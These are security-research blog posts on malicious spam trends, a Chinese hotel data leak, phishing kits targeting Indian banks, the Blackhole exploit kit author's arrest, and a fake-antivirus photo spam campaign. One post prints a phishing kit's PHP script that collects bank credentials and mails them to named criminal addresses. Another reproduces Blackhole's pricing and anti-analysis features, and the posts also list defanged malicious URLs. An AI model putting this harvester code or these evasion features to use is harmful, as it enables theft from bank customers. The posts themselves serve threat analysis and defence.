Top Brands Imitated by Malicious Spam

WebSense recently released an InfoGraphic titled "Top Five Subject Lines in Phishing Emails." for January 1, 2013 through September 30, 2013. WebSense has a few differences in the way they gather their data, including being world-wide in their focus (most of my readers probably aren't receiving regular spam with the subject "Communicazione Importante"). But I also wondered about what is happening more recently. We know that the Cutwail spammers who were using the BlackHole Exploit server were the primary folks who were sending out all of those malicious LinkedIn emails, so have the top threats changed since Paunch and friends were arrested in October and the Black Hole Exploit server started drying up?

Malcovery Security has been putting out daily reports of the Top Threat Today in the malicious email world for all of 2013 (although at the beginning of the year they were still using their UAB-legacy name "Emerging Threats By Email"). These reports provide a "deep dive" look at the most prominent malware-laden email of the day. Mid-summer we made the determination that in addition to pushing out "THE" top threat, we would look at other significant malware campaigns of the day, and try to get those reports out faster and in a machine-consumable format.

Last week we presented a one-hour Webinar (still accessible, if you'd like to watch/listen to the recording) - State of Cybersecurity 2013/2014. The first 2/3rds of the webinar walks through the significant cybersecurity events of the year, followed by some Malcovery stats, like the chart shown below, followed by my Ten Security Predictions for 2014.

So, do we see LinkedIn spam as the most dangerous email "post-Paunch"? And for that matter, was it the most dangerous during the BlackHole dominated early portion of the year?

During the "Top Report of the Day" early part of the year, we saw WIDE variety of brands. In fact, in January our top reports included:

Adobe, ADP, American Airlines, BBB(4x), Bank of America, British Airways, Citibank, Digital Insights, DocuSign(2x), Dunn & Bradstreet, eFax, EFTPS (3x), FedEx, Facebook (2x), IRS, KeyBank, LinkedIn, PayPal, US Airways, Verizon, and Xerox.

LinkedIn earned the "Top Threat of the Day" position many times during the year, including January 21, April 9, April 10, July 26, August 28, September 27, and October 24. That is still less than ADP, which was the "Top Threat" on at least thirteen days (January 14, January 22, February 5, February 11, March 15, March 21, March 29, May 13, May 24, August 6, August 16, October 22, November 1st).

But what about the RECENT stuff? And how do things shape up when we look at ALL the significant malware threats we saw delivered by email instead of only "THE" top threat?

Malicious Spam Campaigns August 1 - December 13

For August 1 - December 13, here are the "Campaigns" that we saw most prominently in our T3 XML reporting:

40 Days ==> Wells Fargo (+10 Days as "Top Threat" - August 6, 9, 23, September 16, 24, October 14, 29, 30, November 27, December 11)
40 Days ==> FedEx (+ 7 Days as "Top Threat" - September 5, 9, 10, 11, 17 & October 4, 10, 30)
24 Days ==> ADP (+ "Top" on August 6, 16, October 22, November 1)
23 Days ==> Facebook (+ September 6, 27)
22 Days ==> HMRC (Her Majesty's Revenue & Customs) (+ October 21)
19 Days ==> "Picture" spam (+ October 23, November 8, 18, 22, December 10, 13)
16 Days ==> Royal Bank of Scotland
15 Days ==> Companies House UK
11 Days ==> Sage
10 Days ==> American Express
10 Days ==> HSBC
10 Days ==> LinkedIn (+ August 6, 16, October 22, November 1)
9 Days ==> Dun & Bradstreet

So what does "Most Dangerous" mean? I would certainly agree that a very-well crafted graphical LinkedIn invitation is more likely to be clicked on than a poorly worded letter from a Wells Fargo advisor with a .zip attachment that I'm supposed to open. It could be that WebSense's scoring system takes into account their observed "click-through and attempted click-through" rate, but our measure shows LinkedIn in 10th place as far as active malicious spam campaigns since August 1st, and only two days since the estimated arrest date of Paunch -- October 16th and October 24th.

Read More

20 Million Chinese Hotel Guests have data leaked

This morning Secure Computing shared a brief article about Data on 20 Million Chinese Hotel Guests being shared by hackers. Unfortunately the only link in the article was a search for the word Breach on SCMagazine's own website.

The source was South China Morning Post, which has actually been writing about this for some time. On October 11, Amy Li reported that "Home Inn Hotels" a popular discount chain, and Hanting Hotel Group, were using "faulty hotel management software" developed by CNWISDOM. This was reported by "independent internet security watchdog Wuyun.org". The NASDAQ traded hotel chain eventually acknowledged the vulnerability, which they described as a weakness in their Wireless Portal Security System, and announced on their home page that the issue had been resolved, thanking WooYun for helping them with the vulnerability.

CNWisdom Data Leaks

Shortly after the initial exchange, a seller on Taobao (think Chinese eBay) announced that he was selling 8 Gigabytes of hotel guest data for 2,000 Yuan. South China Morning Post reported that the chain had 450,000 hotel rooms in 4,500 hotels, and that when guests register, they are required to provide their home address, phone number, ID card, date of birth, and workplace if they want to use the WiFi service. This is apparently the data that was received.

As reported in Patrick Boehler December 9th story in the South China Morning Post, Chinese Hackers Leak Hotel Guest Data on WeChat, multiple websites were distributing the hotel data for 20 million guests, and some enterprising hackers had even built a chat interface allowing you to TXT someone's ID card number to the service and having it reply with the details of any hotel stays by that guest.

WooYun

WooYun regularly shares vulnerability data, so we thought we would start at the beginning and find that. There were several "cnwisdom" breach reports there, including:

WooYun-2013-41171 (submitted October 28, 2013) - which referred to an SQL injection vulnerability

WooYun-2013-41171 (submitted October 27, 2013) - which referred to a STRUCTS problem

WooYun-2013-034935 (submitted August 21, 2013) - the WiFi Data Leak

Unfortunately, I have to rely on some Google Translate here ...

The way WooYun explains it is (Gary's paraphrase of the Google Translate of what they said:)

"Users connect to their hotel's open WiFi, which requires them to use a webpage to authenticate. That webpage is using http protocol, which means the username and password are transmitted in the clear. But the next phase of the authentication is to update a central database of WiFi information. IN THE CLEAR, the authentication connects to a database using the username "cnwisdomapi" and the password "3b823[马赛克]ac36a"!!

That authentication userid and password can be used to query details for anyone who used the WIFI in ANY of these hotels!

After the media used this screen shot in their reports, the Hotel chain responding saying that the screen shot did not represent personal information of their guests.

The "Vulnerability Response" section says that the vendor was notified and confirmed the vulnerability on August 26th. On October 8th, they replied that the Vulnerabilities had been repaired and a proper authentication method that preserved encryption throughout the process to protect guests had been implemented.

WooYun and 189

This is hardly the first major breach from WooYun! In January they reported serious vulnerabilities in the Chinese telecom giant 189's infrastructure that allowed any user with a webbrowser to get detailed billing information, including the user name, address, and detailed call history for any mobile phone user!

The same breach reported also shared details on how any one could access a webserver on "wapsc.189.cn:8006" and use the "wapLogin/sendSms.action" to send unauthenticated SMS messages to any cell phone!

In a wonderful example of responsible reporting, WooYun declared the vulnerability to be "Level 20" (their highest rank) and reported the details to the CNCERT National Internet Emergency Center on January 22 prior to releasing the details publicly on March 8, 2013.

Read More

Indian Banks targeted in multi-brand Phishing Attack

Malcovery Security's PhishIQ portal is a fascinating place to explore. This week I did a "Security Year in Review" webinar for an audience of our customers and friends which was so much fun to prepare! (We recorded the webinar for those who missed it - you can watch the recording here: State of Cybersecurity 2013/2014. We reviewed the top security events of 2013, including some of the biggest hacks, the most prominent malware trends, and the successes that our security community - researchers, security companies, and law enforcement - had in responding to these challenges. I also shared my Ten Security Predictions for 2014. I've posted those to the LinkedIn group Enterprise Security Intelligence & Big Data and would love to hear your thoughts on them. Please consider joining our group and the conversation!

Malcovery Security 2014 Prediction #9: Phishing will hit hard in the emerging online banking markets in India and China

This prediction is based on a few things. The criminals in the phishing world are international. Although most phishing victims continue to be in the United States at the present time, the reason for this is the widespread availability of high-speed Internet and the prominence of Online Banking. As China and India, who between them represent 36.5% of the world population, increasingly embrace online banking the criminals of the world will turn their eyes to this population who is now banking online, but who does not have decades of experience with Internet Safety issues leading up to them. I've already received some questions about this prediction, so I thought I would share some feedback on this one by showing some of the visibility we have in PhishIQ to the issue.

The basic work, unfortunately, has already been done for preparing to attack the Indian banks. Phishing kits exist and are in circulation for at least forty Indian banks that we have seen at Malcovery just during the previous month!

e-Police India shared a phishing attack on their website at the beginning of November about a phishing campaign imitating the Reserve Bank of India. In this phishing attack, the spammers have indicated that you need to "Select Your Bank From the List Below to Complete Your OAC Registration Process". Malcovery has seen this kit several times, including for example a live version today on "thedelamere.co.uk".

For each of the icons on the list below, a full corresponding phishing site is offered. For some reason, the "western" banks on the list do NOT go to a phishing site, but provide a link directly to the brand indicated, These "non-phish" (mostly western banks, but some Indian as well) would include Barclays, Citibank, Deutsche Bank, Karnataka Bank, Karur Vysya Bank, Lakshmi Vilas Bank, RBS, Standard Charter, and Tamilnad Mercantile Bank.

(Screen shot of phish on "thedelamere.co.uk")

The same set of phishing files is regularly occurring in our Phishing intelligence system with more than 80 websites having been hacked to host these files.

Because Malcovery is REALLY good at recovering phishing kits, we were able to recover the criminals' email addresses in 15 of the 80 websites. akachi16akachi16@sify.com, akachiugonna@rediffmail.com, and akachiugonna@sify.com were found in 11 of those 15.

In November, the "action file" of these phish sent email to four email addresses, as shown above, and as observed by the investigators at e-Police.in. More recently, the "chizobamyluck@gmail.com" address has been excluded from the kit.

For example, for the phishing site:

The action file was:

<$fromemail = "$ip";
$ip = getenv("REMOTE_ADDR");
$message  = "-----------------+ Andhra Bank Details +-----------------\n";
$message .= "User Id: " .$_POST['user']."\n";
$message .= "Password: " .$_POST['pass1']."\n";
$message .= "Transaction Password: " .$_POST['pass2']."\n";
$message .= "Mobile: " .$_POST['mobile']."\n";
$message .= "Client IP      : $ip\n";
$message .= "-----------------+ Created in 2012 By DON PERO------------------\n";

$recipient = "akachi16akachi16@sify.com, akachiugonna@rediffmail.com, 
akachiugonna@sify.com, chizobamyluck@gmail.com";
$subject = "Andhra $ip";
$headers = "From: admin@gameshack.org";
$headers .= $fromemail."\n";
$headers .= "MIME-Version: 1.0\n";

if (mail($recipient,$subject,$message,$headers))	
   {		   header("Location: http://andhrabank.com");	   }else    

	   { 		echo "ERROR! Please go back and try again.";  	   }>

Read More

Paunch and the BlackHole/Cool Exploit Kit

After months of speculation, the creator of the Blackhole exploit kit can be demonstrated to be in custody. As usual with all things Russian in the Cybercrime world, Brian Krebs broke the story in the US with Meet Paunch the Accused Author of the Blackhole Exploit Kit, which provided photos of a character believed to be Paunch. These photos in turn were posted by the leading cyber investigations firm in Russia, Group-IB, who participated in the investigations with the Russian police, culminating in his arrest in the city of Togliatti on October 4, 2013.

(Image from Group-IB)

The MVD link, provided by Brian and Google Translated here, shows that a group of 13 criminals were all arrested for violation of Russia's criminal code Article 1.2.210 "the creation of and participation in a criminal organization to jointly commit one or more serious crimes". In other words, Paunch and friends have been charged with the Russian version of the RICO Act! We've just recently seen the same TYPE of law used in the US in the case of David Camez, who was charged with racketeering and conspiracy charges for his role in the crimes at Carder.su (he is one of 55 defendants in the case, and the first to go to trial...) More on Carder.su's David Camez's RICO case here.

The speculations that something may have been up with Paunch began back in October. The best early coverage we had was from Charlie Osborne, who posted over on ZDNet Blackhole malware toolkit creator Paunch suspect arrested, based off the single tip that every other source we had was also referring to -- a statement from Maarten Boone over at Fox-IT in the Netherlands.

At the time of the article in ZDNet, October 9th, Charlie quoted AVG as saying that "the Blackhole Exploit Kit is currently ranked 24th in the world of online malware, affecting 36,199 websites in 218 countries." The same link provided in that article now shows that BEH is ranked 161st, falling from position 132 on the list last week. To check the current status, use this link to AVG's AVG Info on Blackhole Exploit Kit.

Paunch posted updates about his malicious code as recently as September 2013, on Exploit.in (sorry, login required!) As usual, the authors shamelessly listed their contact information, which of course lead to their downfall:

Our contacts:
Author and a support в 1 лице (time normalized):
JID: paunch@jabber.no
JID: paunch@thesecure.biz
JID: paunch@neko.im
ICQ: 343002

A support (time from 9 to 19 on weekdays)
JID: blackhole2@jabber.ru
ICQ: 530082 

The pricing at this time was given as:

happy to announce that prices have remained the same:
Rent on our server:
-Day rental - $ 50 (limit traffic 50k hits)
-Week rent - $ 200 (limit traffic 70k hits a day)
-Month lease - $ 500 (limit traffic 70k hits a day) if need traffic limit can be increased for an additional fee

License on your server:
-License for 3 months $ 700
License-half year $ 1,000
-Year license for $ 1500
multi-domain version of the bunch - $ 200 one-time fee for the entire term of the license (not binding on the domain and on the ip)
change of the domain on the standard version of the bunch - $ 20
change ip on multidomain version bundles - $ 50
single cleaning - $ 50
Autoclean a month - $ 300

Kafeine has the original post on his excellent malware analysis blog Malware don't need Coffee.

The new version offered many options, including statistics about Windows 8 and Mobile Device infection, an option to have "less obvious" URLs for your Blackhole Exploit address, and the ability to automatically regenerate your .exe files in ways that would not be detected by AV engines. (This feature is the "Autoclean" offered for $300 per month.)

Many security features of the "auto-ban" variety were included to prevent the malware from functioning for "Reversers". These included:

11. Completely updated section "Security" on it can shine even a sub category:
a) an opportunity to block traffic without referrer (we recommend always keep it turned on)
b) the opportunity to ban unnecessary referrers
c) an opportunity to ban all referrers except your own
d) an opportunity to ban bots on the basis of a pre-arranged IP address list
d) an opportunity to ban TOR network Types which are dynamically updated as the practice most reverser work from there (we recommend always keep it turned on)
e) there was a recording mode, let you stop and wait for traffic traffic from where you do not, put the record mode, and all reversers and bots that go on your link after stopping cores go straight to the ban list)
12. Since section 11 we had a lot of opportunities for Bans, selecting at least one embodiment of the ban appears in the menu "Ban Statistics", in which you can see the number of blocked traffic, and the reason for blocking 

I can tell you that those banning practices were creating quite a bit of chaos on "Reversers"! Fortunately, my lead malware analyst at Malcovery Security had found a fairly reliable (if time-consuming) way to defeat Paunch. To show the ease of identifying his previous URL pattern, look at this list of reports Malcovery generated in the past six months where BlackHole was found just using the URL path of a "/forum/viewtopic.php" URL!

(Right-Click, "View Image" for larger version)

Much, much more data is available in the several-times daily "Malcovery T3 Reports" and additional analysis is available for interested parties. This data is ONLY showing the "/forum/viewtopic.php" aspects of this malware.

In the first column, the date of the spam campaign and the "imitated brand" is listed

2013-05-13	ADP	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-13	ADP	hxxp://mail.yaklasim.com:8080 /forum/viewtopic.php
2013-05-13	ADP	hxxp://vulcantire.net /forum/viewtopic.php
2013-05-13	ADP	hxxp://westautorepair.com /forum/viewtopic.php
2013-05-13	AmericanExpress	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-13	AmericanExpress	hxxp://mail.yaklasim.com:8080 /forum/viewtopic.php
2013-05-13	AmericanExpress	hxxp://vulcantire.net /forum/viewtopic.php
2013-05-13	AmericanExpress	hxxp://westautorepair.com /forum/viewtopic.php
2013-05-13	Citibank	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-13	Citibank	hxxp://mail.yaklasim.com:8080 /forum/viewtopic.php
2013-05-13	Citibank	hxxp://vulcantire.net /forum/viewtopic.php
2013-05-13	Citibank	hxxp://westautorepair.com /forum/viewtopic.php
2013-05-21	eFax	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-21	eFax	hxxp://debthelpsmart.org /forum/viewtopic.php
2013-05-21	eFax	hxxp://debtsmartretirement.com /forum/viewtopic.php
2013-05-21	eFax	hxxp://mail.yaklasim.com:8080 /forum/viewtopic.php
2013-05-24	ADP	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-24	ADP	hxxp://monteazul.clicken1.com:81 /forum/viewtopic.php
2013-05-24	ADP	hxxp://panama.clicken1.com:81 /forum/viewtopic.php
2013-05-24	ADP	hxxp://talentos.clicken1.com:81 /forum/viewtopic.php
2013-05-29	WesternUnion	hxxp://199.168.184.198:81 /forum/viewtopic.php
2013-05-29	WesternUnion	hxxp://monteazul.clicken1.com:81 /forum/viewtopic.php
2013-05-29	WesternUnion	hxxp://panama.clicken1.com:81 /forum/viewtopic.php
2013-05-29	WesternUnion	hxxp://talentos.clicken1.com:81 /forum/viewtopic.php
2013-05-24	Chase	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-24	Chase	hxxp://monteazul.clicken1.com:81 /forum/viewtopic.php
2013-05-24	Chase	hxxp://panama.clicken1.com:81 /forum/viewtopic.php
2013-05-24	Chase	hxxp://talentos.clicken1.com:81 /forum/viewtopic.php
2013-06-05	WesternUnion	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-06-05	WesternUnion	hxxp://199.168.184.198:81 /forum/viewtopic.php
2013-06-05	WesternUnion	hxxp://verybestblueberry.com /forum/viewtopic.php
2013-06-05	WesternUnion	hxxp://wildmaineblues.com /forum/viewtopic.php
2013-07-08	Citi	hxxp://2ndtimearoundweddingphotography.com /forum/viewtopic.php
2013-07-08	Citi	hxxp://bobkahnvideo.com /forum/viewtopic.php
2013-07-08	Citi	hxxp://gfpmenusonline.com /forum/viewtopic.php
2013-07-08	Citi	hxxp://gfponlineordering.com /forum/viewtopic.php
2013-07-10	eFax	hxxp://gfpshoppingcarts.net /forum/viewtopic.php
2013-07-10	eFax	hxxp://greatstockfoodimages.com /forum/viewtopic.php
2013-07-10	eFax	hxxp://imhungrynow.com /forum/viewtopic.php
2013-07-10	eFax	hxxp://one2onebiznet.com /forum/viewtopic.php
2013-07-12	UPS	hxxp://buzztag.com /forum/viewtopic.php
2013-07-12	UPS	hxxp://customkids.com /forum/viewtopic.php
2013-07-12	UPS	hxxp://webersmokeymountaincookerreview.com /forum/viewtopic.php
2013-07-12	UPS	hxxp://wiiunlockplusreview.com /forum/viewtopic.php
2013-07-25	CNN	hxxp://198.57.130.35:8080 /forum/viewtopic.php
2013-07-25	CNN	hxxp://alsultantravel.com:8080 /forum/viewtopic.php
2013-07-25	CNN	hxxp://webmail.alsultantravel.com:8080 /forum/viewtopic.php
2013-07-25	CNN	hxxp://webmail.alsultantravel.info:8080 /forum/viewtopic.php
2013-07-25	Facebook	hxxp://198.57.130.35:8080 /forum/viewtopic.php
2013-07-25	Facebook	hxxp://alsultantravel.com:8080 /forum/viewtopic.php
2013-07-25	Facebook	hxxp://webmail.alsultantravel.com:8080 /forum/viewtopic.php
2013-07-25	Facebook	hxxp://webmail.alsultantravel.info:8080 /forum/viewtopic.php
2013-08-02	Moneygram	h00p://50.57.185.72:8080 /forum/viewtopic.php
2013-08-02	Moneygram	h00p://arki.com:8080 /forum/viewtopic.php
2013-08-02	Moneygram	h00p://northernforestcanoetrail.com /forum/viewtopic.php
2013-08-02	Moneygram	h00p://www.arki.com:8080 /forum/viewtopic.php
2013-08-14	BankofAmerica	hxxp://gutterglovegutterprotection.com /forum/viewtopic.php
2013-08-14	BankofAmerica	hxxp://gutterguardbuyersguide.com /forum/viewtopic.php
2013-08-14	BankofAmerica	hxxp://gutterhelmetleafguardgutterprotection.com /forum/viewtopic.php
2013-08-14	BankofAmerica	hxxp://gutterprosmaryland.com /forum/viewtopic.php
2013-08-14	WellsFargo	hxxp://gutterglovegutterprotection.com /forum/viewtopic.php
2013-08-14	WellsFargo	hxxp://gutterguardbuyersguide.com /forum/viewtopic.php
2013-08-14	WellsFargo	hxxp://gutterhelmetleafguardgutterprotection.com /forum/viewtopic.php
2013-08-14	WellsFargo	hxxp://gutterprosmaryland.com /forum/viewtopic.php
2013-08-15	FAX	hxxp://1800callabe.com /forum/viewtopic.php
2013-08-15	FAX	hxxp://1866callabe.com /forum/viewtopic.php
2013-08-15	FAX	hxxp://abemoussa.com /forum/viewtopic.php
2013-08-15	FAX	hxxp://abemuggs.com /forum/viewtopic.php
2013-08-16	ADP	hxxp://hubbywifeco.com /forum/viewtopic.php
2013-08-16	ADP	hxxp://hubbywifedesigns.com /forum/viewtopic.php
2013-08-16	ADP	hxxp://hubbywifedesserts.com /forum/viewtopic.php
2013-08-16	ADP	hxxp://hubbywifefoods.com /forum/viewtopic.php
2013-08-16	WellsFargo	hxxp://hubbywifeco.com /forum/viewtopic.php
2013-08-16	WellsFargo	hxxp://hubbywifedesigns.com /forum/viewtopic.php
2013-08-16	WellsFargo	hxxp://hubbywifedesserts.com /forum/viewtopic.php
2013-08-16	WellsFargo	hxxp://hubbywifefoods.com /forum/viewtopic.php
2013-08-19	ADP	hxxp://hubbywifewines.com /forum/viewtopic.php
2013-08-19	ADP	hxxp://ipodwalla.com /forum/viewtopic.php
2013-08-19	ADP	hxxp://jerseycitybags.com /forum/viewtopic.php
2013-08-19	ADP	hxxp://jerseyluggage.com /forum/viewtopic.php
2013-08-19	Facebook	hxxp://frankcremascocabinets.com /forum/viewtopic.php
2013-08-19	Facebook	hxxp://giuseppepiruzza.com /forum/viewtopic.php
2013-08-19	Facebook	hxxp://gordonpoint.biz /forum/viewtopic.php
2013-08-19	Facebook	hxxp://gordonpoint.info /forum/viewtopic.php
2013-08-20	UKLandRegistry	hxxp://giuseppepiruzza.com /forum/viewtopic.php
2013-08-20	UKLandRegistry	hxxp://gordonpoint.biz /forum/viewtopic.php
2013-08-20	UKLandRegistry	hxxp://gordonpoint.info /forum/viewtopic.php
2013-08-20	UKLandRegistry	hxxp://gordonpoint.org /forum/viewtopic.php
2013-08-26	UPS	hxxp://gordonpoint.org /forum/viewtopic.php
2013-08-26	UPS	hxxp://hitechcreature.com /forum/viewtopic.php
2013-08-26	UPS	hxxp://industryseeds.ca /forum/viewtopic.php
2013-08-26	UPS	hxxp://infocreature.com /forum/viewtopic.php
2013-09-06	CitizensBank-KeyBank	hxxp://luggagepoint.de /forum/viewtopic.php
2013-09-06	CitizensBank-KeyBank	hxxp://luggagepreview.com /forum/viewtopic.php
2013-09-06	CitizensBank-KeyBank	hxxp://luggagewalla.com /forum/viewtopic.php
2013-09-06	CitizensBank-KeyBank	hxxp://luxluggage.com /forum/viewtopic.php
2013-09-09	FedEx	hxxp://luxurybrandswalla.com /forum/viewtopic.php
2013-09-09	FedEx	hxxp://mickmicheyl.biz /forum/viewtopic.php
2013-09-09	FedEx	hxxp://mickmicheyl.ca /forum/viewtopic.php
2013-09-09	FedEx	hxxp://mickmicheyl.com /forum/viewtopic.php
2013-09-10	FedEx	hxxp://actorbell.com /forum/viewtopic.php
2013-09-10	FedEx	hxxp://facebookfansincrease.com /forum/viewtopic.php
2013-09-10	FedEx	hxxp://fillmaka.com /forum/viewtopic.php
2013-09-10	FedEx	hxxp://fillmmaka.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://actorbell.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://facebookfansincrease.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://fillmaka.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://fillmmaka.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://filmaka.biz /forum/viewtopic.php
2013-09-11	FedEx	hxxp://filmaka.co.uk /forum/viewtopic.php
2013-09-12	FedEx	hxxp://fillmmaka.com /forum/viewtopic.php
2013-09-12	FedEx	hxxp://filmaka.biz /forum/viewtopic.php
2013-09-12	FedEx	hxxp://filmaka.co.uk /forum/viewtopic.php
2013-09-12	FedEx	hxxp://filmaka.info /forum/viewtopic.php
2013-09-13	FedEx	hxxp://filmaka.org /forum/viewtopic.php
2013-09-13	FedEx	hxxp://filmaka.us /forum/viewtopic.php
2013-09-13	FedEx	hxxp://filmmaka.com /forum/viewtopic.php
2013-09-13	FedEx	hxxp://filmpunjab.com /forum/viewtopic.php
2013-09-16	FedEx	hxxp://rockims.com /forum/viewtopic.php
2013-09-16	FedEx	hxxp://swingingwiththefinkelsthemovie.com /forum/viewtopic.php
2013-09-16	FedEx	hxxp://taxipunjab.com /forum/viewtopic.php
2013-09-16	FedEx	hxxp://taxisamritsar.com /forum/viewtopic.php
2013-09-17	FedEx	hxxp://defeat-autism.com /forum/viewtopic.php
2013-09-17	FedEx	hxxp://defeat-autism.org /forum/viewtopic.php
2013-09-17	FedEx	hxxp://saltlakecityutahcommercialrealestate.com /forum/viewtopic.php
2013-09-17	FedEx	hxxp://utahbankownedhomesonline.info /forum/viewtopic.php
2013-09-17	FedEx	hxxp://utahonlinerealestate.com /forum/viewtopic.php
2013-09-18	FedEx	hxxp://defeat-autism.com /forum/viewtopic.php
2013-09-18	FedEx	hxxp://defeat-autism.org /forum/viewtopic.php
2013-09-18	FedEx	hxxp://glgkorea.com /forum/viewtopic.php
2013-09-18	FedEx	hxxp://jadecreditdesign.com /forum/viewtopic.php
2013-09-19	FedEx	hxxp://louievozza.com /forum/viewtopic.php
2013-09-19	FedEx	hxxp://louvozza.com /forum/viewtopic.php
2013-09-19	FedEx	hxxp://lvconcordecontracting.com /forum/viewtopic.php
2013-09-19	FedEx	hxxp://lv-contracting.com /forum/viewtopic.php
2013-09-20	FedEx	hxxp://lvconcordecontracting.com /forum/viewtopic.php
2013-09-20	FedEx	hxxp://mcbelectrical.ca /forum/viewtopic.php
2013-09-20	FedEx	hxxp://oliviagurun.com /forum/viewtopic.php
2013-09-20	FedEx	hxxp://onecable.ca /forum/viewtopic.php
2013-09-23	FedEx	hxxp://dsostermanlaw.com /forum/viewtopic.php
2013-09-23	FedEx	hxxp://nefcapital.com /forum/viewtopic.php
2013-09-23	FedEx	hxxp://simpacswings.com /forum/viewtopic.php
2013-09-23	FedEx	hxxp://wetalkbb.net /forum/viewtopic.php
2013-09-24	FedEx	hxxp://acedataintelligence.com /forum/viewtopic.php
2013-09-24	FedEx	hxxp://acedataintelligence.net /forum/viewtopic.php
2013-09-24	FedEx	hxxp://dsostermanlaw.com /forum/viewtopic.php
2013-09-24	FedEx	hxxp://nefcapital.com /forum/viewtopic.php
2013-09-27	Facebook	hxxp://directgrid.org /forum/viewtopic.php
2013-09-27	Facebook	hxxp://directgrid.us /forum/viewtopic.php
2013-09-27	Facebook	hxxp://integra-inspection.ca /forum/viewtopic.php
2013-09-27	Facebook	hxxp://watttrack.com /forum/viewtopic.php
2013-09-27	LinkedIn	hxxp://directgrid.org /forum/viewtopic.php
2013-09-27	LinkedIn	hxxp://directgrid.us /forum/viewtopic.php
2013-09-27	LinkedIn	hxxp://integra-inspection.ca /forum/viewtopic.php
2013-09-27	LinkedIn	hxxp://watttrack.com /forum/viewtopic.php
2013-10-01	FedEx	hxxp://smartstartfinancial.com /forum/viewtopic.php
2013-10-01	FedEx	hxxp://thewalletslip.com /forum/viewtopic.php
2013-10-01	FedEx	hxxp://tootle.us /forum/viewtopic.php
2013-10-01	FedEx	hxxp://tungstenrents.com /forum/viewtopic.php
2013-10-09	WellsFargo	hxxp://integrainspection.co /forum/viewtopic.php
2013-10-09	WellsFargo	hxxp://integrainspection.info /forum/viewtopic.php
2013-10-09	WellsFargo	hxxp://integrainspection.net /forum/viewtopic.php
2013-10-09	WellsFargo	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-10	FedEx	hxxp://denisemoussa.com /forum/viewtopic.php
2013-10-10	FedEx	hxxp://integrainspection.net /forum/viewtopic.php
2013-10-10	FedEx	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-10	FedEx	hxxp://integrainspections.ca /forum/viewtopic.php
2013-10-11	FedEx	hxxp://integrainspection.net /forum/viewtopic.php
2013-10-11	FedEx	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-11	FedEx	hxxp://integrainspections.ca /forum/viewtopic.php
2013-10-11	FedEx	hxxp://integrainspections.co /forum/viewtopic.php
2013-10-14	WellsFargo	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-14	WellsFargo	hxxp://integrainspections.ca /forum/viewtopic.php
2013-10-14	WellsFargo	hxxp://integrainspections.co /forum/viewtopic.php
2013-10-14	WellsFargo	hxxp://stratuscomputing.com /forum/viewtopic.php
2013-10-15	WellsFargo	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-15	WellsFargo	hxxp://integrainspections.ca /forum/viewtopic.php
2013-10-15	WellsFargo	hxxp://integrainspections.co /forum/viewtopic.php
2013-10-15	WellsFargo	hxxp://stratuscomputing.com /forum/viewtopic.php
2013-10-23	VoiceMessage	hxxp://bernaandthebern-outs.com /forum/viewtopic.php
2013-10-23	VoiceMessage	hxxp://sayitwithpower.com /forum/viewtopic.php
2013-10-23	VoiceMessage	hxxp://thewinewars.com /forum/viewtopic.php
2013-10-23	VoiceMessage	hxxp://www.benfrederick.com:8080 /forum/viewtopic.php

Read More

Tempting Photo Attachments Lead to Fake AV

One of today's largest malicious spam campaigns continued an occasional theme we've been seeing for a few weeks. A subject line, followed by a single "emoticon" email, with an attachment that promises to be a picture.

The emails had a wide variety of subjects and were coming in fast and furious around 4:00 this morning:

A query in the Malcovery Spam Data Mine shows the variety of subjects used in the campaign:

count |                  subject                   
-------+--------------------------------------------
    90 | Someone showed me your picture
    86 | I love your picture!
    85 | This is the funniest picture ever!
    85 | What you think of this picture?
    84 | You look so beautiful on this picture
    80 | Tell me what you think of this picture
    78 | You should take a look at this picture
    78 | Take a look at my new picture please
    75 | Is this you??
    69 | Someone told me it's your picture
    66 | Should I upload this picture on facebook?
    62 | Picture of you??
    50 | Your friends won't be happy about that
    48 | My private picture only for you
    47 | Private
    46 | Your picture is all over the web now
    44 | Keep it secret
    43 | Keep it private
    43 | Could you explain please?
    43 | Do you think I'm attractive?
    41 | Photo of you naked??
    40 | Do you think I'm 'pretty or ugly?
    40 | My private photo for you
    39 | Do you think she is hot?
    37 | Hey check out this picture
    37 | I just can't belive this
    35 | You look terrible on this photo
    35 | I found this picture of you
    35 | My private picture
    35 | To show how much I love you
    35 | Please rate my picture
    35 | Your wife won't be happy about that
    34 | How do you think she looks?
    34 | Please tell me this is your photo
    33 | Shame on you
    31 | Your opinion needed
    30 | Check out my photo but keep it private
    26 | I love you so much please check my photo
    22 | My private photo
    11 | What you think about my halloween costume
     7 | Your wife wont like this picture
     7 | Happy Halloween
     6 | Check this out!!
     6 | Best halloween costume
     6 | Your wife will be shoked
     6 | Worst picture ever!
     5 | Private picture of you?
     5 | Biggest pumpkin lol
     5 | Halloween costume
     4 | You are fucking ugly
     4 | Biggest fail of the month
     4 | Best halloween costume ever
     4 | You are so sexy
     3 | Are you crazy??
     3 | Naked picture of you
     3 | You like my halloween costume??
     3 | WTF?
     3 | Busted you naked
     3 | WOW WTF is this???
     2 | Please explain??
     2 | Let me know if this is really your picture
     2 | Check out my halloween costume
     2 | Seen this shit before??
     2 | LOL
     1 | Spam: My private photo
     1 | Can't belive this!
(66 rows)

The campaign was further confused by the fact that every email attachment had a unique MD5 hash (one of the tricks we use to cluster emails is to look for them to have the same attachment).

I won't go into the technical details of how it works, but the ZIP file contained an SCR file -- an old filetype that used to be a common way for people to share "Screen Saver" files. Trying to "view" the Image file from inside the .ZIP actually results in the .SCR file being executed, and downloading and executing the file "soft.exe" from the website at 91.216.163.208 as you can see from this code-dump of the SCR file.

The file failed to run in our default analysis Sandbox so we had to break out the Raw Iron ... since the malware was being so paranoid, I used a camera to document what came next rather than taking screenshots in the program.

